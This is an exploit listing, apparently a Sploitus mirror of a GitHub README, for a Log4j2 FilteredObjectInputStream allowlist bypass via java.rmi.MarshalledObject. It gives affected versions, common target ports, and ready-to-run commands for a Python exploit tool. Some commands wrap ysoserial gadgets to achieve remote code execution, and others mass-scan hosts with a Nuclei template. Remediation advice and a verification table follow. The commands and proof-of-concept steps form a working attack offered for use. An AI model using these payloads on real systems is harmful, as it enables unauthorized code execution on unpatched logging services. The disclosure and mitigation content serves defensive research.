Sploitus

log4j-4255-exploit

githubexploit Β· 2026-08-26

Exploit Code

README178 lines
## https://sploitus.com/exploit?id=ADCCEF13-D7F3-5E64-8990-6C7ABB981396
# Apache Log4j2 #4255 β€” FilteredObjectInputStream allowlist bypass via `java.rmi.MarshalledObject`

Unauthenticated Java deserialization in any service that reads serialized
`LogEvent`s through Log4j's `FilteredObjectInputStream` (FOIS). With a gadget
library on the target classpath this is **remote code execution**.

- **Affected:** `log4j-api` 2.11.0–2.26.1 / `log4j-core` 2.8.0–2.26.1
- **Upstream:** https://github.com/apache/logging-log4j2/issues/4255 *(no fix released at time of writing)*
- **Class:** CWE-502 β€” deserialization of untrusted data
- **Credit:** original report by U-Sec (Wujie Security); lab by [@dinosn](https://github.com/dinosn/log4j-4255)

> For authorized security testing only.

---

## Root cause

`FilteredObjectInputStream` keeps `java.rmi.MarshalledObject` in its default
allowlist (`SerializationUtil.REQUIRED_JAVA_CLASSES`):

```java
public static final List REQUIRED_JAVA_CLASSES = Arrays.asList(
    "java.math.BigDecimal",
    "java.math.BigInteger",
    "java.rmi.MarshalledObject",   //   ← deserialized here by MarshalledObject.get(), unfiltered
```

### Where it is exploitable

Any endpoint that reads a serialized `LogEvent` off the network through FOIS:

- `apache/logging-log4j-samples` β†’ `log4j-server` / `ObjectInputStreamLogEventBridge`
- `vertigo-analytics-server` `createSerializedSocketServer` (FOIS by default, no TLS/auth, binds all interfaces)
- log4j-core ≀ 2.14.x, where the receiver shipped in-tree as `net.server.TcpSocketServer.createSerializedSocketServer`

Common ports: **4560, 4562, 4563, 9500** (SocketAppender defaults).

---

## Contents

| Path | What |
|---|---|
| `log4j_4255.py` | Standalone Python exploit (no deps, no JVM to build a payload) |
| `nuclei/log4j2-4255-marshalledobject-deser.yaml` | Nuclei network template, OOB (DNS) detection |
| `lab/run-receiver.sh` | Spin up a vulnerable (or mitigated) receiver in Docker |
| `lab/src/victim/Receiver.java` | The FOIS receiver, mirroring the official samples bridge |

---

## Quick start (local lab)

```bash
# 1. start a vulnerable receiver in Docker (fetches official log4j 2.26.1 jars)
./lab/run-receiver.sh
#   -> [receiver] FilteredObjectInputStream bridge on 0.0.0.0:4560 ... filter=

# 2a. detection β€” DNS callback, no gadget lib needed
python3 log4j_4255.py dns -t 127.0.0.1 -p 4560 --oob YOUR-ID.oast.pro

# 2b. RCE β€” wrap a ysoserial gadget (target has commons-collections 3.2.1)
java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     -jar ysoserial.jar CommonsCollections6 'touch /tmp/PWNED_4255' > cc6.bin
python3 log4j_4255.py wrap -t 127.0.0.1 -p 4560 --gadget cc6.bin

docker exec log4j4255-recv ls -l /tmp/PWNED_4255   # -> proof of RCE
```

---

## The Python exploit β€” `log4j_4255.py`

Builds the `LogEventProxy β†’ MarshalledObject(objBytes)` envelope by hand (a tiny
Java-serialization writer), so **no JVM and no log4j jars are needed to craft the
payload**. The inner object graph is either a built-in JDK-only URLDNS chain
(detection) or any serialized gadget you supply (RCE).

```
usage: log4j_4255.py {dns,wrap} ...

  dns   --oob HOST              wrap a JDK-only URLDNS chain (HashMap -> java.net.URL).
                                DNS lookup proves the inner stream is unfiltered.
                                No gadget library required on the target. Safe.

  wrap  --gadget FILE           wrap an arbitrary serialized object graph, e.g. the
                                raw output of ysoserial. RCE when a matching gadget
                                library is on the target classpath. FILE '-' = stdin.

  common:
    -t/--target HOST  -p/--port N (default 4560)
    -o/--out FILE     build only, write payload to disk (send later with nc/burp)
```

Examples:

```bash
# detection
python3 log4j_4255.py dns  -t 10.0.0.5 -p 4560 --oob me.oast.pro

# RCE from a ysoserial gadget
python3 log4j_4255.py wrap -t 10.0.0.5 -p 4560 --gadget cc6.bin

# pipe ysoserial straight in
java -jar ysoserial.jar CommonsCollections6 'id' | python3 log4j_4255.py wrap -t 10.0.0.5 --gadget -

# craft only, do not send
python3 log4j_4255.py wrap --gadget cc6.bin -o payload.bin
```

**Why URLDNS for detection:** it is a three-level, pure-JDK chain
(`HashMap β†’ java.net.URL β†’ String`). It needs nothing on the target but the JRE,
and β€” unlike commons-collections chains β€” it is shallow enough to survive a
`maxdepth` serial filter, so a DNS hit reflects the bypass itself rather than the
presence of one particular gadget library.

---

## The Nuclei template

`nuclei/log4j2-4255-marshalledobject-deser.yaml` β€” a **network** template that
sends the URLDNS-wrapped `LogEventProxy` and matches on an interactsh DNS
interaction.

```bash
nuclei -t nuclei/log4j2-4255-marshalledobject-deser.yaml -u 10.0.0.5:4560
nuclei -t nuclei/log4j2-4255-marshalledobject-deser.yaml -l targets.txt   # host:port per line
```

Targets **must include the port** (it is a network template). The payload is
rebuilt at scan time for any `{{interactsh-url}}` length via nuclei DSL β€” the
two length-sensitive fields (the `java.net.URL` host/authority string prefixes,
and filler that keeps `MarshalledObject#objBytes`'s own length prefix constant)
are derived from `len(interactsh-url)`.

A match means the inner stream is unfiltered β€” i.e. the bypass is present.
Whether it escalates to RCE depends on the gadget libraries on that classpath,
which the template cannot see.

---

## Remediation

No upstream fix at time of writing β€” track
[apache/logging-log4j2#4255](https://github.com/apache/logging-log4j2/issues/4255).
In the meantime, in order of preference:

1. **Stop transporting serialized `LogEvent`s.** Use a JSON or RFC 5424 layout
   over the socket instead of Java serialization.
2. **Deny the class at the JVM:**
   `-Djdk.serialFilter='!java.rmi.MarshalledObject'` on the receiver. This closes
   the bypass β€” but also rejects *legitimate* serialized `LogEvent`s, since
   log4j's own transport relies on `MarshalledObject`.
3. Do **not** rely on `maxdepth`/`maxbytes` serial filters. They may block one
   deep gadget (e.g. commons-collections) while leaving shallow chains β€” and the
   bypass itself β€” intact.

Upstream fix suggested in the report: drop `java.rmi.MarshalledObject` from
`REQUIRED_JAVA_CLASSES` and carry the marshalled message via
`SerializationUtil.writeWrappedObject()` / `readWrappedObject()` (plain `byte[]`
run back through an inner FOIS), the pattern already used by `ObjectMessage`;
or migrate FOIS to a JEP 290 `ObjectInputFilter`, which sees through
`MarshalledObject` on JDK 9+.

---

## Verified

End-to-end against **official Log4j 2.26.1 jars on JDK 17**, in Docker:

| Target | `log4j_4255.py wrap` (CC6) | Nuclei (`dns`) |
|---|---|---|
| FOIS receiver + commons-collections 3.2.1 | RCE (`/tmp/PWNED_4255` created), receiver silent | match |
| `-Djdk.serialFilter='!java.rmi.MarshalledObject'` | rejected (`InvalidClassException: filter status: REJECTED`) | no match |
| `-Djdk.serialFilter='maxdepth=5'` | CC6 blocked; URLDNS still fires | match |
| commons-collections 3.2.2 | silent (gadget patched); bypass still reached | match |
| same gadget sent **unwrapped** | rejected (`Class is not allowed: java.net.URL` / `TiedMapEntry`) | n/a |